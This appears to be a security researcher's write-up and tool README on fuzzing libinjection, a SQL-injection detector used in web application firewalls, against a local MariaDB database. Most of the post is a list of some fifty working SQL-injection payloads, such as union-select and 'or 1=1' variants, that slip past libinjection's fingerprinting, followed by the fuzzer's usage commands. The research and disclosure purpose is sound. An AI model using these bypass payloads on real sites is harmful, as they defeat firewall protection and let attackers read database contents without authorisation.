libinjection is a library that parses parameter value to SQL elements (tokens) and check if tokens combination (fingerprint) is familiar to SQL-injection attack. This library has high performance and is commonly used by WAF/NGFW solutions.
Recently, I stumbled upon a @httpsonly's talk related to libijection fuzzing (again) and decided to try same approach.
I wrote simple python script (libinjection-fuzzer) that works this way:
- connects to MySQL database
- executes query
- checks for libinjection fingerprint if query was successful
This script is much more slower than similar fuzzers written in C, but works as expected with high accuracy of the results, since it checks payloads on real DB and verifies bypasses via pylibinjection
library.
I deployed MariaDB v.10.1.25, created users
table with several records and decided to check following queries (payload is placed instead of {payload}
pattern):
select * from users where id='1{payload}'
select * from users where id=1{payload}
With following payload samples (fuzzing characters are placed instead of {fuzz}
pattern):
or {fuzz} or 1=1#
+ {fuzz} or 1=1#
or {fuzz} union select 1,version()#
+ {fuzz} union select 1,version()#
' or {fuzz} or 1=1#
' + {fuzz} or 1=1#
' or {fuzz} union select 1,version()#
' + {fuzz} union select 1,version()#
' union select {fuzz},version()#
At first, I tried to use all ASCII characters. It took too much time, but I got couple bypasses in union-query. So characters sample was reduced to a1@#$%^&*()-_=+,./;:'"[{]}\!
As result, following payloads bypassed libinjection and successfully retrieved data from database (payloads related to same fingerprint were removed):
Fingerprint: &1o.U Payload: or 1<@. union select 1,version()#
Fingerprint: &1oUE Payload: or 1.<@ union select 1,version()#
Fingerprint: &vo.U Payload: or @<@. union select 1,version()#
Fingerprint: &voUE Payload: or !@<@ union select 1,version()#
Fingerprint: sns Payload: or 1<@ union select 'a',version()#
Fingerprint: &(1)& Payload: or (1) or 1=1#
Fingerprint: &(v)& Payload: or (@) or 1=1#
Fingerprint: &1o&1 Payload: or 1<@ or 1=1#
Fingerprint: &1o.& Payload: or 1<@. or 1=1#
Fingerprint: &1ov& Payload: or 1%@ or 1=1#
Fingerprint: &vo&1 Payload: or @<@ or 1=1#
Fingerprint: &vo.& Payload: or @<@. or 1=1#
Fingerprint: 1o&1c Payload: + 1<@ or 1=1#
Fingerprint: 1o.&1 Payload: + 1<@. or 1=1#
Fingerprint: s(&1c Payload: or 1#'( or 1=1#
Fingerprint: s(s Payload: or '(' or 1=1#
Fingerprint: s)s Payload: or ')' or 1=1#
Fingerprint: s,&1c Payload: or 1#', or 1=1#
Fingerprint: s.&1c Payload: or 1#'. or 1=1#
Fingerprint: s.s Payload: or '.' or 1=1#
Fingerprint: s1&1c Payload: or 1#'1 or 1=1#
Fingerprint: s1s Payload: or '1' or 1=1#
Fingerprint: sc Payload: or "#" or 1=1#
Fingerprint: sn&1c Payload: or 1#'a or 1=1#
Fingerprint: sns Payload: or 'a' or 1=1#
Fingerprint: sv Payload: or '@' or 1=1#
Fingerprint: sv&1c Payload: or 1#'@ or 1=1#
Fingerprint: s{&1c Payload: or 1#'{ or 1=1#
Fingerprint: s{s Payload: or '{' or 1=1#
Fingerprint: vo&1c Payload: + @<@ or 1=1#
Fingerprint: vo.&1 Payload: + @<@. or 1=1#
Fingerprint: s&1o. Payload: ' or 1<@. union select @@version,version()#
Fingerprint: s&1oU Payload: ' or 1<@ union select @@version,version()#
Fingerprint: s&vo. Payload: ' or @<@. union select @@version,version()#
Fingerprint: s&voU Payload: ' or @<@ union select @@version,version()#
Fingerprint: so.UE Payload: ' + 1<@. union select @@version,version()#
Fingerprint: soUE1 Payload: ' + 1<@ union select 1,version()#
Fingerprint: soUEf Payload: ' + 1<@ union select version(),version()#
Fingerprint: soUEs Payload: ' + 1<@ union select 'a',version()#
Fingerprint: soUEv Payload: ' + 1<@ union select @@version,version()#
Fingerprint: so&1c Payload: ' + 1<@ or 1=1#
Fingerprint: s&1o& Payload: ' or 1<@ or 1=1#
Fingerprint: s&vo& Payload: ' or @<@ or 1=1#
Fingerprint: so&1c Payload: ' + 1<@ or 1=1#
Fingerprint: so.&1 Payload: ' + 1<@. or 1=1#
Fingerprint: sUE11 Payload: ' union select 1.$,version()#
Fingerprint: sUEsn Payload: ' union select ''a,version()#
Fingerprint: s Payload: ' union select ""a,version()#
Seems that besides fingerprints are not considered as SQL-injection patterns, there is some issue related to query tokenization (' union select ""a,version()#
is considered as s
fingerprint).
libinjection fuzzer
This tool logs found bypasses, valid blocked queries and rest of requests to file for future analysis. Database should be already set and have some data to verify that SQL-injection payload works.
Help
# python mysql_fuzz.py -h
usage: mysql_fuzz.py [-h] -q QUERY -p PAYLOAD -c CHARS -u USER
[--password PASSWORD] -d DB [-o OUT] [--log-all]
libinjection fuzzer for MySQL database
optional arguments:
-h, --help show this help message and exit
-q QUERY, --query QUERY
Query to fuzz
-p PAYLOAD, --payload PAYLOAD
Payload to use
-c CHARS, --chars CHARS
Characters to fuzz
-u USER, --user USER Database user
--password PASSWORD Database user
-d DB, --db DB Database name
-o OUT, --out OUT Filename pattern (default: log)
--log-all
Usage example
python mysql_fuzz.py -q "select * from users where id='1{}'" -p "' union select {},version()#" -c "a1@#$%^&*()-_=+,./;:'\"[{]}\\!" -u user -d test --log-all
References
Talk: Web Application Firewalls: Analysis of Detection Logic
Links
libinjection Github page
libinjection fuzzer Github page
cpp-sql-fuzzer Github page
How to bypass libinjection in many WAF/NGWAF